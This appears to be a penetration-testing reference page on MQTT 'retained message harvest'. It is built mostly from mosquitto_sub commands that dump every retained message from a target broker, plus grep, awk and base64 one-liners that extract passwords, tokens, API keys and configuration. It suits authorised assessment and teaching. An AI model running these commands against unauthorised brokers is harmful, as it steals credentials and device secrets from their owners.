# MQTT Retained Message Harvest

- **URL:** https://hackindex.io/services/mqtt/exploitation/mqtt-retained-message-harvest
- **Path:** MQTT > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/mqtt/exploitation.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-16

Retained messages are payloads the broker stores permanently for each topic and delivers immediately to any new subscriber. Publishers use them to ensure late-joining subscribers receive the current state of a device: but they also mean the following sit on the broker indefinitely, waiting for any subscriber:

- Credentials and authentication tokens
- API keys and secrets
- Device configuration values and endpoint URLs
- Operational state data from connected devices

Unlike live traffic, retained messages do not require timing: they are available instantly on demand.

## Pull All Retained Messages

Subscribe to the wildcard with `--retained-only`. The client receives all retained messages, then exits cleanly:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -t '#' -v --retained-only -C 1000 | \
  tee /tmp/mqtt-retained.txt
```

`-C 1000` stops after 1000 messages. If `$SYS/broker/retained messages/count` indicated a higher number, increase accordingly. The command completes in seconds regardless of count.

If authentication is required:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -u $USER -P $PASSWORD \
  -t '#' -v --retained-only -C 1000 | tee /tmp/mqtt-retained.txt
```

## Scan for Credentials and Secrets

Search the retained message dump for common credential patterns:

```bash
grep -iE 'password|passwd|secret|token|apikey|api_key|auth|credential' /tmp/mqtt-retained.txt
```

Search for JSON payloads with embedded credentials:

```bash
grep -oE '"(password|token|secret|key|auth)"\s*:\s*"[^"]+"' /tmp/mqtt-retained.txt
```

Search for structured credential strings:

```bash
grep -oE '[a-zA-Z0-9._%+-]+:[a-zA-Z0-9!@#$%^&*()_+=-]{6,}' /tmp/mqtt-retained.txt
```

Decode any base64-encoded payloads:

```bash
awk '{print $NF}' /tmp/mqtt-retained.txt | while read payload; do
  decoded=$(echo "$payload" | base64 -d 2>/dev/null | strings)
  [ -n "$decoded" ] && echo "Topic payload decoded: $decoded"
done
```

## Identify Configuration Payloads

Configuration topics often carry retained messages because devices need to retrieve their settings on boot. These commonly contain endpoint URLs, credentials for downstream services, or operational parameters:

```bash
grep -iE 'config|conf|setting|endpoint|url|host|server' /tmp/mqtt-retained.txt
```

## Sort by Topic Path

Group retained messages by their topic hierarchy to understand what categories of data are stored:

```bash
awk '{print $2}' /tmp/mqtt-retained.txt | sort | uniq -c | sort -rn | head -30
```

Topics with high retention counts often represent frequently updated device state. Topics in credential or config subtrees are higher priority.

## Check Specific High-Value Paths

If wildcard is ACL-restricted but individual paths are readable, target likely high-value topic paths directly:

```bash
for topic in 'credentials/#' 'config/#' 'admin/#' 'backup/#' 'secret/#' 'token/#'; do
  mosquitto_sub -h $TARGET_IP -p 1883 -t "$topic" -v --retained-only -C 20 2>/dev/null
done
```

## Note What Cannot Be Cleared

Retained messages persist until explicitly cleared by publishing an empty payload with the retained flag to the same topic. On live systems, device firmware typically republishes on reconnect: clearing a retained message may cause a brief gap but does not permanently remove the data. Do not clear retained messages during an assessment unless explicitly in scope.

## References

- [Mosquitto: mosquitto_sub man page](https://mosquitto.org/man/mosquitto_sub-1.html) - --retained-only flag and -C message count reference
- [MQTT 3.1.1 Specification: Retained Messages](https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html#_Toc398718038) - Formal specification of retained message storage and delivery behaviour
